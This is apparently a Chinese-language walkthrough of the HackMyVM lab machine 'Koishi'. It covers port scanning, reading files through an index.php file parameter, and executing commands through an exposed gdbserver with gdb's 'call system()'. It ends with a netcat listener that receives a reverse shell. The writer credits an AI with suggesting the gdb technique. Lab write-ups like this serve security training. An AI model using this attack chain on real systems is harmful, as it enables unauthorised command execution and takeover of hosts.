┌──(kali㉿kali)-[~/HMV/koishi] └─$ sudo nmap -p- 192.168.43.10 -oA ports Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-06 13:17 CST Nmap scan report for Koishi (192.168.43.10) Host is up (0.00045s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 34225/tcp open unknown MAC Address: CE:7F:27:86:40:F8 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 1.36 seconds
# 检查 curl 执行是否成功 if [ $? -eq 0 ]; then echo"下载 PID ${num} 成功" else # 错误信息也会进入 out.txt echo"下载 PID ${num} 失败" fi
# 添加空行分隔不同 PID 的内容 echo
# 可选:添加短暂延迟,避免请求过快 # sleep 0.1 done < target.txt
echo"全部处理完成"
然后把进程号都写进 target.txt ,执行脚本:
1 2 3 4 5 6 7 8
┌──(kali㉿kali)-[~/HMV/koishi] └─$ curl 'http://192.168.43.10/index.php?action=list' | awk -F '/''{print $3}' > target.txt % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 773 0 773 0 0 22882 0 --:--:-- --:--:-- --:--:-- 23424
┌──(kali㉿kali)-[~] └─$ gdb GNU gdb (Debian 17.1-3) 17.1 Copyright (C) 2025 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty"for details. This GDB was configured as "aarch64-linux-gnu". Type "show configuration"for configuration details. For bug reporting instructions, please see: <https://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>.
For help, type"help". Type "apropos word" to search for commands related to "word". (gdb) target extended-remote 192.168.43.10:36687 Remote debugging using 192.168.43.10:36687 ⚠ warning: while parsing target description (at line 1): Target description specified unknown architecture "i386:x86-64" ⚠ warning: Could not load XML target description; ignoring Reading /bin/busybox from remote target... ⚠ warning: File transfers from remote targets can be slow. Use "set sysroot" to access files locally instead. Reading /bin/busybox from remote target... Reading symbols from target:/bin/busybox... (No debugging symbols found in target:/bin/busybox) ⚠ warning: while parsing target description (at line 1): Target description specified unknown architecture "i386:x86-64" ⚠ warning: Could not load XML target description; ignoring ❌ Truncated register 52 in remote 'g' packet
ubuntu@ubuntu:~$ gdb GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git Copyright (C) 2024 Free Software Foundation, Inc. For help, type"help". Type "apropos word" to search for commands related to "word". pwndbg: loaded 215 pwndbg commands. Type pwndbg [filter] for a list. pwndbg: created 13 GDB functions (can be used with print/break). Type helpfunction to see them. ------- tip of the day (disable with set show-tips off) ------- Pwndbg resolves kernel memory maps by parsing page tables (default) or via monitor info mem QEMU gdbstub command (use set kernel-vmmap-via-page-tables off for that) pwndbg> target extended-remote 192.168.43.10:36687 Remote debugging using 192.168.43.10:36687 pwndbg> run Starting program: Reading /bin/busybox from remote target... warning: File transfers from remote targets can be slow. Use "set sysroot" to access files locally instead. Reading /bin/busybox from remote target... Reading symbols from target:/bin/busybox... Reading /usr/lib/debug/.build-id/34/b42ef64c28cf5150049d56ba3f20c5cb390288.debug from remote target...
This GDB supports auto-downloading debuginfo from the following URLs: <https://debuginfod.ubuntu.com> Debuginfod has been disabled. To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit. (No debugging symbols found in target:/bin/busybox) Reading /lib/ld-musl-x86_64.so.1 from remote target... Reading /lib/ld-musl-x86_64.so.1 from remote target... Reading /usr/lib/debug/.build-id/3a/678e0f20d6668bb1d136fbef9e1dfe962f64a9.debug from remote target... Reading /lib/ld-musl-x86_64.so.1.debug from remote target... Reading /lib/.debug/ld-musl-x86_64.so.1.debug from remote target... Reading /usr/lib/debug//lib/ld-musl-x86_64.so.1.debug from remote target... Reading /usr/lib/debug//lib/ld-musl-x86_64.so.1.debug from remote target... Reading /usr/lib/debug/.build-id/30/e59283d0902e1a50e46bc848deb53665d2dd8c.debug from remote target... [Inferior 1 (process 2940) exited normally] pwndbg>
看上去这次是连接成功了,而且他运行了 /bin/busybox ,并且正常退出了。
所以我们现在的目标是,拿到靶机的 shell。
询问了 AI ,AI 给出了一个不错的方案,他说我们可以 call system("id") ,但是得有一个进程,所以我们可以先创建一个进程。
例如:
1 2
pwndbg> set remote exec-file /bin/sleep pwndbg> run 100000
然后这里就会阻塞,因为靶机在执行 sleep 100000,所以我们可以 control + C 中断到 gdb 的终端,进行 call system("ls / >/tmp/123txt") 来测试是否能执行命令:
pwndbg> call system("ls / >/tmp/123.txt") [Attaching after Thread 3147.3147 vfork to child Thread 3148.3148] [New inferior 3 (process 3148)] Reading /lib/ld-musl-x86_64.so.1 from remote target... Reading /usr/lib/debug/.build-id/30/e59283d0902e1a50e46bc848deb53665d2dd8c.debug from remote target... [Detaching vfork parent process 3147 after child exec] [Inferior 2 (process 3147) detached] process 3148 is executing new program: /bin/busybox Reading /bin/busybox from remote target... Reading /bin/busybox from remote target... Reading /usr/lib/debug/.build-id/34/b42ef64c28cf5150049d56ba3f20c5cb390288.debug from remote target... Reading /lib/ld-musl-x86_64.so.1 from remote target... Reading /lib/ld-musl-x86_64.so.1 from remote target... Reading /usr/lib/debug/.build-id/3a/678e0f20d6668bb1d136fbef9e1dfe962f64a9.debug from remote target... Reading /lib/ld-musl-x86_64.so.1.debug from remote target... Reading /lib/.debug/ld-musl-x86_64.so.1.debug from remote target... Reading /usr/lib/debug//lib/ld-musl-x86_64.so.1.debug from remote target... Reading /usr/lib/debug//lib/ld-musl-x86_64.so.1.debug from remote target... process 3148 is executing new program: /bin/busybox Reading /bin/busybox from remote target... Reading /bin/busybox from remote target... Reading /usr/lib/debug/.build-id/34/b42ef64c28cf5150049d56ba3f20c5cb390288.debug from remote target... Reading /lib/ld-musl-x86_64.so.1 from remote target... Reading /lib/ld-musl-x86_64.so.1 from remote target... Reading /usr/lib/debug/.build-id/3a/678e0f20d6668bb1d136fbef9e1dfe962f64a9.debug from remote target... Reading /lib/ld-musl-x86_64.so.1.debug from remote target... Reading /lib/.debug/ld-musl-x86_64.so.1.debug from remote target... Reading /usr/lib/debug//lib/ld-musl-x86_64.so.1.debug from remote target... Reading /usr/lib/debug//lib/ld-musl-x86_64.so.1.debug from remote target... [Inferior 3 (process 3148) exited normally] The program being debugged exited whilein a function called from GDB. Evaluation of the expression containing the function (system) will be abandoned.
┌──(kali㉿kali)-[~] └─$ curl 'http://192.168.43.10/index.php?file=/proc/self/root/tmp/123.txt' bin boot dev etc home lib lost+found media mnt opt proc root run sbin srv sys tmp usr var
说明可以执行系统命令了,进行反弹 shell 即可:
1 2 3 4 5 6 7
┌──(kali㉿kali)-[~] └─$ nc -nvlp 1234 Listening on 0.0.0.0 1234 Connection received on 192.168.43.10 38429 ls protected user.txt